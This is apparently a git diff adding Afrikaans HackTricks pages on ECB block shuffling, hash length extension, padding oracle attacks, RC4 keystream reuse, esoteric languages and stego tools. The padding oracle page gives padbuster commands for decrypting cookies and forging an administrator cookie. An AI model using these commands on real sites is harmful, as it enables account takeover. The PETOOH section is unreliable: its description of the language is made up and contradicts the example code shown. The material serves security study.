## Blokke skuif
|
||||
|
||||
In baie databasisse is dit dieselfde om te soek vir `WHERE username='admin';` of vir `WHERE username='admin ';` _(Let op die ekstra spasies)_
|
||||
|
||||
Dus, 'n ander manier om die gebruiker `admin` na te boots, sou wees om:
|
||||
|
||||
* Genereer 'n gebruikersnaam wat: `len(<username>) + len(<delimiter) % len(block)`. Met 'n blokgrootte van `8B` kan jy 'n gebruikersnaam genaamd `username ` genereer, met die delimiter `|` sal die stuk `<username><delimiter>` 2 blokke van 8Bs genereer.
|
||||
* Genereer dan 'n wagwoord wat 'n presiese aantal blokke vul wat die gebruikersnaam bevat wat ons wil na boots, en spasies, soos: `admin `
|
||||
|
||||
Die koekie van hierdie gebruiker sal bestaan uit 3 blokke: die eerste 2 is die blokke van die gebruikersnaam + delimiter en die derde een van die wagwoord (wat die gebruikersnaam naboots): `username |admin `
|
||||
|
||||
**Vervang dan net die eerste blok met die laaste keer en jy boots die gebruiker `admin` na: `admin |username`**
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
120
crypto-and-stego/esoteric-languages.md
Normal file
120
crypto-and-stego/esoteric-languages.md
Normal file
|
@ -0,0 +1,120 @@
|
|||
# Esoteriese tale
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
|
||||
|
||||
Kyk na daardie wiki om meer esoteriese tale te soek
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
|
||||
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
|
||||
```
|
||||
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
|
||||
|
||||
## npiet
|
||||
|
||||
![](<../.gitbook/assets/image (146).png>)
|
||||
|
||||
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
|
||||
|
||||
## Rockstar
|
||||
```
|
||||
Midnight takes your heart and your soul
|
||||
While your heart is as high as your soul
|
||||
Put your heart without your soul into your heart
|
||||
|
||||
Give back your heart
|
||||
|
||||
|
||||
Desire is a lovestruck ladykiller
|
||||
My world is nothing
|
||||
Fire is ice
|
||||
Hate is water
|
||||
Until my world is Desire,
|
||||
Build my world up
|
||||
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
|
||||
Shout "FizzBuzz!"
|
||||
Take it to the top
|
||||
|
||||
If Midnight taking my world, Fire is nothing
|
||||
Shout "Fizz!"
|
||||
Take it to the top
|
||||
|
||||
If Midnight taking my world, Hate is nothing
|
||||
Say "Buzz!"
|
||||
Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
|
||||
## PETOOH
|
||||
|
||||
PETOOH is 'n esoteriese programmeertaal wat gebaseer is op die idee van die kommunikasie tussen diere. Dit is ontwerp deur Oleg Mazonka in 2003. Die taal maak gebruik van verskillende dieregeluide om kode te verteenwoordig.
|
||||
|
||||
### Syntax
|
||||
|
||||
PETOOH se sintaksis bestaan uit drie instruksies: 'koer', 'blaf' en 'grom'. Hierdie instruksies word gebruik om die geheue te manipuleer en data te verwerk.
|
||||
|
||||
### Geheue
|
||||
|
||||
PETOOH maak gebruik van 'n geheueband wat bestaan uit 256 selletjies. Elke selletjie kan 'n waarde hê tussen 0 en 255. Die geheueband begin by die eerste selletjie en beweeg na regs.
|
||||
|
||||
### Instruksies
|
||||
|
||||
PETOOH het drie tipes instruksies:
|
||||
|
||||
1. 'koer': Verhoog die waarde van die huidige selletjie met 1.
|
||||
2. 'blaf': Verminder die waarde van die huidige selletjie met 1.
|
||||
3. 'grom': Verskuif die lees- of skryfposisie op die geheueband na links of regs.
|
||||
|
||||
### Voorbeeld
|
||||
|
||||
Hier is 'n voorbeeld van 'n PETOOH-program wat die getal 42 druk:
|
||||
|
||||
```
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
KoKoKo Kud-Kudah
|
||||
kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah
|
||||
KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
||||
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||
Kukarek
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
62
crypto-and-stego/hash-length-extension-attack.md
Normal file
62
crypto-and-stego/hash-length-extension-attack.md
Normal file
|
@ -0,0 +1,62 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Opsomming van die aanval
|
||||
|
||||
Stel jou voor 'n bediener wat 'n paar **data** onderteken deur 'n **geheim** by 'n bekende teksdata te **voeg** en dan daardie data te hash. As jy weet:
|
||||
|
||||
* **Die lengte van die geheim** (dit kan ook gekraak word binne 'n gegewe lengtebereik)
|
||||
* **Die duidelike teksdata**
|
||||
* **Die algoritme (en dit is vatbaar vir hierdie aanval)**
|
||||
* **Die opvulling is bekend**
|
||||
* Gewoonlik word 'n verstek een gebruik, so as die ander 3 vereistes voldoen word, is dit ook die geval
|
||||
* Die opvulling varieer afhangende van die lengte van die geheim+data, daarom is die lengte van die geheim nodig
|
||||
|
||||
Dan is dit moontlik vir 'n **aanvaller** om **data** by te voeg en 'n geldige **handtekening** te genereer vir die **vorige data + bygevoegde data**.
|
||||
|
||||
## Hoe?
|
||||
|
||||
Basies genereer die vatbare algoritmes die hasings deur eerstens 'n blok data te hash, en dan, **van** die **voorheen** geskep **hash** (toestand), voeg hulle die volgende blok data by en hash dit.
|
||||
|
||||
Stel jou voor dat die geheim "geheim" is en die data "data" is, die MD5 van "geheimdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
As 'n aanvaller die string "byvoeg" wil byvoeg, kan hy:
|
||||
|
||||
* Genereer 'n MD5 van 64 "A"s
|
||||
* Verander die toestand van die voorheen geïnisialiseerde hash na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Voeg die string "byvoeg" by
|
||||
* Voltooi die hash en die resulterende hash sal 'n **geldige een wees vir "geheim" + "data" + "opvulling" + "byvoeg"**
|
||||
|
||||
## **Hulpmiddel**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
## Verwysings
|
||||
|
||||
Jy kan hierdie aanval goed verduidelik vind by [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
124
crypto-and-stego/padding-oracle-priv.md
Normal file
124
crypto-and-stego/padding-oracle-priv.md
Normal file
|
@ -0,0 +1,124 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
In CBC-modus word die **vorige versleutelde blok as IV** gebruik om te XOR met die volgende blok:
|
||||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
Om CBC te ontsluit, word die **teenoorgestelde** **bewerkings** gedoen:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
Let daarop dat 'n **versleutelingsleutel** en 'n **IV** gebruik moet word.
|
||||
|
||||
# Boodskapvulling
|
||||
|
||||
Aangesien die versleuteling in **vasgestelde** **blokke** **uitgevoer** word, word **vulling** gewoonlik in die **laaste** **blok** benodig om sy lengte te voltooi.\
|
||||
Gewoonlik word **PKCS7** gebruik, wat 'n vulling genereer wat die **aantal** **byte** **benodig** om die blok te voltooi, **herhaal**. Byvoorbeeld, as die laaste blok 3 byte kortkom, sal die vulling `\x03\x03\x03` wees.
|
||||
|
||||
Kom ons kyk na meer voorbeelde met 'n **2 blokke van 8 byte**:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Let daarop hoe in die laaste voorbeeld die **laaste blok vol was, dus is nog een gegenereer slegs met vulling**.
|
||||
|
||||
# Padding Oracle
|
||||
|
||||
Wanneer 'n toepassing versleutelde data ontsluit, sal dit eers die data ontsluit; dan sal dit die vulling verwyder. Tydens die skoonmaak van die vulling, as 'n **ongeldige vulling 'n waarneembare gedrag teweegbring**, het jy 'n **padding-orakel kwesbaarheid**. Die waarneembare gedrag kan 'n **fout**, 'n **gebrek aan resultate**, of 'n **stadiger reaksie** wees.
|
||||
|
||||
As jy hierdie gedrag opspoor, kan jy die **versleutelde data ontsluit** en selfs **enige duidelike teks versleutel**.
|
||||
|
||||
## Hoe om uit te buit
|
||||
|
||||
Jy kan [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) gebruik om hierdie tipe kwesbaarheid uit te buit of net die volgende doen
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
Om te toets of die koekie van 'n webwerf kwesbaar is, kan jy probeer:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Kodering 0** beteken dat **base64** gebruik word (maar ander is beskikbaar, kyk na die hulpmenu).
|
||||
|
||||
Jy kan ook **misbruik maak van hierdie kwesbaarheid om nuwe data te enkripteer. Byvoorbeeld, stel jou voor dat die inhoud van die koekie is "**_**gebruiker=MyGebruikersnaam**_**", dan kan jy dit verander na "\_gebruiker=administrateur\_" en voorregte binne die toepassing verhoog. Jy kan dit ook doen deur `paduster` te gebruik en die -plaintext** parameter te spesifiseer:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
As die webwerf kwesbaar is, sal `padbuster` outomaties probeer om te vind wanneer die padding-fout plaasvind, maar jy kan ook die foutboodskap aandui deur die **-error** parameter te gebruik.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## Die teorie
|
||||
|
||||
In **opsomming**, jy kan begin om die versleutelde data te ontsluit deur die regte waardes te raai wat gebruik kan word om al die **verskillende opvullings** te skep. Dan sal die padding-orakelaanval begin om byte van die einde na die begin te ontsluit deur te raai watter die regte waarde sal wees wat **'n opvulling van 1, 2, 3, ens. skep**.
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
Stel jou voor jy het 'n paar versleutelde teks wat **2 blokke** beslaan, gevorm deur die bytes van **E0 tot E15**.\
|
||||
Om die **laaste blok** (**E8** tot **E15**) te **ontsluit**, gaan die hele blok deur die "blok-sifer ontsluiting" wat die **tussengangerbyte I0 tot I15** genereer.\
|
||||
Uiteindelik word elke tussengangerbyte **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
* `C13 = I13 ^ E5`
|
||||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
Nou is dit moontlik om **`E7` te wysig totdat `C15` `0x01` is**, wat ook 'n korrekte opvulling sal wees. Dus, in hierdie geval: `\x01 = I15 ^ E'7`
|
||||
|
||||
Dus, deur E'7 te vind, is dit **moontlik om I15 te bereken**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Dit stel ons in staat om **C15 te bereken**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Wetende **C15**, is dit nou moontlik om **C14 te bereken**, maar hierdie keer deur die opvulling `\x02\x02` te kragtig te raai.
|
||||
|
||||
Hierdie BF is net so ingewikkeld as die vorige een, omdat dit moontlik is om die `E''15` te bereken, waarvan die waarde 0x02 is: `E''7 = \x02 ^ I15` dus hoef jy net die **`E'14`** te vind wat 'n **`C14` gelyk aan `0x02`** genereer.\
|
||||
Doen dan dieselfde stappe om C14 te ontsluit: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Volg hierdie ketting totdat jy die hele versleutelde teks ontsluit.**
|
||||
|
||||
## Opmerking van die kwesbaarheid
|
||||
|
||||
Registreer en rekeninge en teken in met hierdie rekening.\
|
||||
As jy **baie keer teken** en altyd dieselfde koekie kry, is daar waarskynlik **iets fout** in die toepassing. Die koekie wat teruggestuur word, moet elke keer wat jy teken, uniek wees. As die koekie **altyd** dieselfde is, sal dit waarskynlik altyd geldig wees en sal daar **geen manier wees om dit ongeldig te maak nie**.
|
||||
|
||||
Nou, as jy probeer om die **koekie te wysig**, kan jy sien dat jy 'n **fout** van die toepassing kry.\
|
||||
Maar as jy die opvulling BF (deur byvoorbeeld padbuster te gebruik), slaag jy daarin om 'n ander koekie te kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is baie waarskynlik kwesbaar vir padbuster.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
40
crypto-and-stego/rc4-encrypt-and-decrypt.md
Normal file
40
crypto-and-stego/rc4-encrypt-and-decrypt.md
Normal file
|
@ -0,0 +1,40 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
As jy op een of ander manier 'n platte teks kan enkripteer met RC4, kan jy enige inhoud wat deur daardie RC4 enkripteer is (met dieselfde wagwoord) dekripteer deur net die enkripsiefunksie te gebruik.
|
||||
|
||||
As jy 'n bekende platte teks kan enkripteer, kan jy ook die wagwoord onttrek. Meer verwysings kan gevind word in die HTB Kryptos-masjien:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
230
crypto-and-stego/stego-tricks.md
Normal file
230
crypto-and-stego/stego-tricks.md
Normal file
|
@ -0,0 +1,230 @@
|
|||
# Stego-truuks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hak-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
**Probeer Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Data Uithaal uit Lêers**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
'n Gereedskap om binêre lêers te soek vir ingeslote verborge lêers en data. Dit word geïnstalleer via `apt` en sy bron is beskikbaar op [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Foremost**
|
||||
|
||||
Herstel lêers gebaseer op hul kop-en-staart, nuttig vir png-afbeeldings. Geïnstalleer via `apt` met sy bron op [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
Helps to view file metadata, beskikbaar [hier](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
Soortgelyk aan exiftool, vir metadatabesoek. Installeerbaar via `apt`, bron op [GitHub](https://github.com/Exiv2/exiv2), en het 'n [amptelike webwerf](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **Lêer**
|
||||
|
||||
Identifiseer die tipe lêer waarmee jy werk.
|
||||
|
||||
